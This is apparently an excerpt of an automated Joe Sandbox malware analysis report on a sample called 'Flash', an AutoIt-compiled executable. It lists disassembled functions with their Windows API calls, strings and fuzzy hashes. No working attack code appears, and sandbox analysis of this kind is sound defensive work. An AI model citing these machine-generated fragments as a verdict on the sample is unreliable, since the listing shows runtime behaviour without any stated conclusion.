WSAStartup.WS2_32(00000101,?), ref: 00A45E7E
inet_addr.WSOCK32(?,?,?), ref: 00A45EC3
gethostbyname.WS2_32(?), ref: 00A45ECF
IcmpCreateFile.IPHLPAPI ref: 00A45EDD
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00A45F4D
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00A45F63
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00A45FD8
WSACleanup.WSOCK32 ref: 00A45FDE

Strings

Ping, xrefs: 00A45F01

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 85ddcb1e393cefeb125380c9391ede56ae1407e20050f5ed0307f8670f82637a
Instruction ID: 34072c17994bfc34cef0eea32cd6c62ea48d0482921fd69aaee3c3e171e8d29d
Opcode Fuzzy Hash: 85ddcb1e393cefeb125380c9391ede56ae1407e20050f5ed0307f8670f82637a
Instruction Fuzzy Hash: 0B51AC35A046019FD721EF64CC49F2AB7F4AF88710F148929F996DB2A2DB70ED44CB42

Function 009E4D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 009E4E22
KillTimer.USER32(?,00000001), ref: 009E4E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 009E4E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009E4E7A
CreatePopupMenu.USER32 ref: 009E4E8E
PostQuitMessage.USER32(00000000), ref: 009E4EAF

Strings

TaskbarCreated, xrefs: 009E4E75

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: d76462b41637ec729f58d6b20936022b7fac46a02bc1662357c96a42b8e7958f
Instruction ID: 6c9ef51ee6abbdaabca6e8383b290e040b2444b16e869f591fad29b423e37382
Opcode Fuzzy Hash: d76462b41637ec729f58d6b20936022b7fac46a02bc1662357c96a42b8e7958f
Instruction Fuzzy Hash: 1E412C71368186ABDF179FA99C49FBF3699F740300F04092EF502952E2CAB4AC91D771

Function 00A4FD7D Relevance: 13.9, APIs: 9, Instructions: 386
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00A4FD9E
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00A4FF31
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00A4FF55
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00A4FF95
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00A4FFB7
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00A50133
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00A50165
CloseHandle.KERNEL32(?), ref: 00A50194
CloseHandle.KERNEL32(?), ref: 00A5020B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 70eae177ec1d01893f1ae2b25d794004cde9570fa12af5dd722f16e1c1e7c93f
Instruction ID: 08e2ee68decef554ce5be9ccfaa13c89935f8e1ebb4ca46a4351bbda1373af7e
Opcode Fuzzy Hash: 70eae177ec1d01893f1ae2b25d794004cde9570fa12af5dd722f16e1c1e7c93f
Instruction Fuzzy Hash: C5E18D312043419FCB25EF24C891B6EBBE1BF85314F14896DF9899B2A2DB31EC45CB52

Function 009E56F8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00A20C5B

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

_memset.LIBCMT ref: 009E5787
_wcscpy.LIBCMT ref: 009E57DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 009E57EB
__swprintf.LIBCMT ref: 00A20CD1

Strings

AutoIt - , xrefs: 009E5760
Line %d: , xrefs: 00A20CCB

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $AutoIt -
API String ID: 230667853-4094128768
Opcode ID: 6c17a7b1a1ce6b8b2e2bbd8bd03d4681a8ac4ea5c29da4536d1209f0eb2be934
Instruction ID: 4232ac8f19a9b0e672b1d4067093468e5e5e02ef7785265a2c6765abd0e5dfda
Opcode Fuzzy Hash: 6c17a7b1a1ce6b8b2e2bbd8bd03d4681a8ac4ea5c29da4536d1209f0eb2be934
Instruction Fuzzy Hash: 4C41D971118344AAC322EB65DC45FDF77ECAFC4354F104A1EF185920A2DF749A49C7A6

Function 009E50DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 009E5109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 009E512A
ShowWindow.USER32(00000000), ref: 009E513E
ShowWindow.USER32(00000000), ref: 009E5147

Strings

edit, xrefs: 009E5124
AutoIt v3, xrefs: 009E5101, 009E5106, 009E5107

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: a4cde06017b5dbd6679dff21e5ceb86b97e8c9c6acb4cf598530806f3e5b268b
Instruction ID: 010997b6544bc5d6dc36141dde637c18e847ace87aa2a61081e8cde5389a6abb
Opcode Fuzzy Hash: a4cde06017b5dbd6679dff21e5ceb86b97e8c9c6acb4cf598530806f3e5b268b
Instruction Fuzzy Hash: C3F0FE716652947EEA3197A76C4CEBB3E7DE7C6F50F00011FB900A21B0CAB11892DAB4

Function 00A39B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009E4A8C: _fseek.LIBCMT ref: 009E4AA4

Part of subcall function 00A39CF1: _wcscmp.LIBCMT ref: 00A39DE1
Part of subcall function 00A39CF1: _wcscmp.LIBCMT ref: 00A39DF4

_free.LIBCMT ref: 00A39C5F
_free.LIBCMT ref: 00A39C66
_free.LIBCMT ref: 00A39CD1

Part of subcall function 009F2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,009F9C54,00000000,009F8D5D,009F59C3), ref: 009F2F99
Part of subcall function 009F2F85: GetLastError.KERNEL32(00000000,?,009F9C54,00000000,009F8D5D,009F59C3), ref: 009F2FAB

_free.LIBCMT ref: 00A39CD9

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00A39B8F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: b4c58c5f7a84e8612e33dc1766fac52dd2138576106f6c81fc8cab367bbcac10
Instruction ID: 1e58f5abc7a8ff672885465f49e7f869c9636c6af9e3ca92dbf73bc181ac89ce
Opcode Fuzzy Hash: b4c58c5f7a84e8612e33dc1766fac52dd2138576106f6c81fc8cab367bbcac10
Instruction Fuzzy Hash: CE513BB1D04259AFDF249F65DC45BAEBBB9FF88314F0004AEB249A3241DB715E908F58

Function 009F563D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 009F569B
_memcpy_s.LIBCMT ref: 009F570D
__read_nolock.LIBCMT ref: 009F576B
__filbuf.LIBCMT ref: 009F578E
_memset.LIBCMT ref: 009F57D2

Part of subcall function 009F8D58: __getptd_noexit.LIBCMT ref: 009F8D58

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction ID: 9f96d162269295f56844806bd10f9f371cde3b340d51380c5c4e14038114bfc9
Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction Fuzzy Hash: 0351A230A00B0DDBDB24AFB9D88467E77A9AF40324F258B29FB35D62D0DB749D519B40

Function 009D52B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009D52E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009D534A
TranslateMessage.USER32(?), ref: 009D5356
DispatchMessageW.USER32(?), ref: 009D5360

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 055bc1d795013ad480b5faa143dd9d8cecd0043423b8b37ec3dd909d069fb174
Instruction ID: d7393c035bbaeb165bb652db0059516e31fc38ef5cf7ce153e405e2e9d95796a
Opcode Fuzzy Hash: 055bc1d795013ad480b5faa143dd9d8cecd0043423b8b37ec3dd909d069fb174
Instruction Fuzzy Hash: E431E531698B06DBEB30CBE8DC44FEAB7E89B01340F15C45BE522962E0D6A59886D721

Function 009D1284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,009D1275,SwapMouseButtons,00000004,?), ref: 009D12A8
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,009D1275,SwapMouseButtons,00000004,?), ref: 009D12C9
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,009D1275,SwapMouseButtons,00000004,?), ref: 009D12EB

Strings

Control Panel\Mouse, xrefs: 009D12A6

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 4281695d4ac674247ba4970984900bfae4439cc736da997d7bbe0974f528cac8
Instruction ID: d7d006010a5ab01b56d4a71a6567dcf45cf37a1d0844a161c6d173d915d18427
Opcode Fuzzy Hash: 4281695d4ac674247ba4970984900bfae4439cc736da997d7bbe0974f528cac8
Instruction Fuzzy Hash: 56115A72650208BFDB20CFA5DC84EAFBBBCEF04740F00856AF905D7210D2729E409BA0

Function 00A33F1D Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00A62C4C), ref: 00A33F57
GetLastError.KERNEL32 ref: 00A33F66
CreateDirectoryW.KERNEL32(?,00000000), ref: 00A33F75
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00A62C4C), ref: 00A33FD2

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: ea39ad70bbab5d0beee870de16c5a6fa23fb30940aeabf47bc7f8f70f6a7698d
Instruction ID: 42433aa3926ccabe3ea433b25ec2260d68e81ea9f4ef875a823053d6dcd5b558
Opcode Fuzzy Hash: ea39ad70bbab5d0beee870de16c5a6fa23fb30940aeabf47bc7f8f70f6a7698d
Instruction Fuzzy Hash: 5721917190C2019F8B00DF29D8919AFB7F4BE59364F504A1EF495CB2A2D730DE46CB42

Function 009E5B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009E5B58

Part of subcall function 009E56F8: _memset.LIBCMT ref: 009E5787
Part of subcall function 009E56F8: _wcscpy.LIBCMT ref: 009E57DB
Part of subcall function 009E56F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 009E57EB

KillTimer.USER32(?,00000001,?,?), ref: 009E5BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 009E5BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00A20D7C

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 39eb6bf17f6209ff66f1a2d833c265aaf77903f22b4907d2f53b727b863b4d0e
Instruction ID: 0b509a03cfe28cf262337e645c4d5fedf6b80d06efa35c4ad240536585b1a8e3
Opcode Fuzzy Hash: 39eb6bf17f6209ff66f1a2d833c265aaf77903f22b4907d2f53b727b863b4d0e
Instruction Fuzzy Hash: 9C210770505B949FEB73CB649895FEBBBFCAF01308F04049DE69A56182C7742D85CB51

Function 009E278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 009E49C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,009E27AF,?,00000001), ref: 009E49F4

_free.LIBCMT ref: 00A1FB04
_free.LIBCMT ref: 00A1FB4B

Part of subcall function 009E29BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 009E2ADF

Strings

Bad directive syntax error, xrefs: 00A1FB33

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: 2dbda06961c2875d59fb8ea5901254854d3a48888891999c63c605a3c709fcdc
Instruction ID: e3fab1205d4eee52d9db42302f53f0538915c0104223c259d9a46fed4f4e555f
Opcode Fuzzy Hash: 2dbda06961c2875d59fb8ea5901254854d3a48888891999c63c605a3c709fcdc
Instruction Fuzzy Hash: A5919D71900299AFCF15EFA5CC91AEEB7B4BF49310F14453AF816AB2A1DB34AD44CB50

Function 00A39CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 009E4AB2: __fread_nolock.LIBCMT ref: 009E4AD0

_wcscmp.LIBCMT ref: 00A39DE1
_wcscmp.LIBCMT ref: 00A39DF4

Strings

FILE, xrefs: 00A39D2D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: f12f863cfa224ae1b986a72de5d41986459dcf06445a5a06c2559fa1a19bb637
Instruction ID: 8fb93cad257b55891a3b497d3e9e0f2eb4f80617732139d0d910edf38903155e
Opcode Fuzzy Hash: f12f863cfa224ae1b986a72de5d41986459dcf06445a5a06c2559fa1a19bb637
Instruction Fuzzy Hash: 7541C771A40209BADF21ABA5CC46FAFBBBDEF85710F00447AFA00A7181D6B19D448B65

Function 009E31BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A2032B
GetOpenFileNameW.COMDLG32(?), ref: 00A20375

Part of subcall function 009F0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009E2A58,?,00008000), ref: 009F02A4

Part of subcall function 009F09C5: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 009F09E4

Strings

X, xrefs: 00A20343

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: c2ff60f326539e6e5ff82d2f7e36f01c5fbad8181d15d9a1429795cff3480c1a
Instruction ID: 22e6175d683faa624b177b82b32a04413afba2680eb67a473ca02af48bdcde7d
Opcode Fuzzy Hash: c2ff60f326539e6e5ff82d2f7e36f01c5fbad8181d15d9a1429795cff3480c1a
Instruction Fuzzy Hash: 0D21C371A0029C9BDF01DFD8D845BEE7BFC9F89300F00405AE504AB242DBB55A89CFA1

Function 00A4D1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36b05e2e9945b0f67e52cb6ae42b7542f64bb794cd25ec331f432b90d4b92ed5
Instruction ID: 226dda898ca346533bdbc624d728dc24efcbabf0df320996615969f2a69cfe46
Opcode Fuzzy Hash: 36b05e2e9945b0f67e52cb6ae42b7542f64bb794cd25ec331f432b90d4b92ed5
Instruction Fuzzy Hash: 05F11474A083419FC714DF28C584A6ABBE5BFC9314F14892EF8999B351DB70E945CF82

Function 009E1680 Relevance: 4.7, APIs: 3, Instructions: 187COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009E16DB
_memmove.LIBCMT ref: 009E174C
_memmove.LIBCMT ref: 009E17B9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: ed32fb8771238ed09b9743b3aa1633238b6374f05c7c8d03abd585113883e755
Instruction ID: 50252886fbfe5d3069485d450644cd8edfd9522efcd114041e831e7accf8a2cb
Opcode Fuzzy Hash: ed32fb8771238ed09b9743b3aa1633238b6374f05c7c8d03abd585113883e755
Instruction Fuzzy Hash: 8661CD71600249EBDF04CF2AD8806AA7BB5FF44750F5885A9EC29CF295EB35DD60CB50

Function 009DAAAA Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 009F07BB: MapVirtualKeyW.USER32(0000005B,00000000), ref: 009F07EC
Part of subcall function 009F07BB: MapVirtualKeyW.USER32(00000010,00000000), ref: 009F07F4
Part of subcall function 009F07BB: MapVirtualKeyW.USER32(000000A0,00000000), ref: 009F07FF
Part of subcall function 009F07BB: MapVirtualKeyW.USER32(000000A1,00000000), ref: 009F080A
Part of subcall function 009F07BB: MapVirtualKeyW.USER32(00000011,00000000), ref: 009F0812
Part of subcall function 009F07BB: MapVirtualKeyW.USER32(00000012,00000000), ref: 009F081A

Part of subcall function 009EFF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,009DAC6B), ref: 009EFFA7

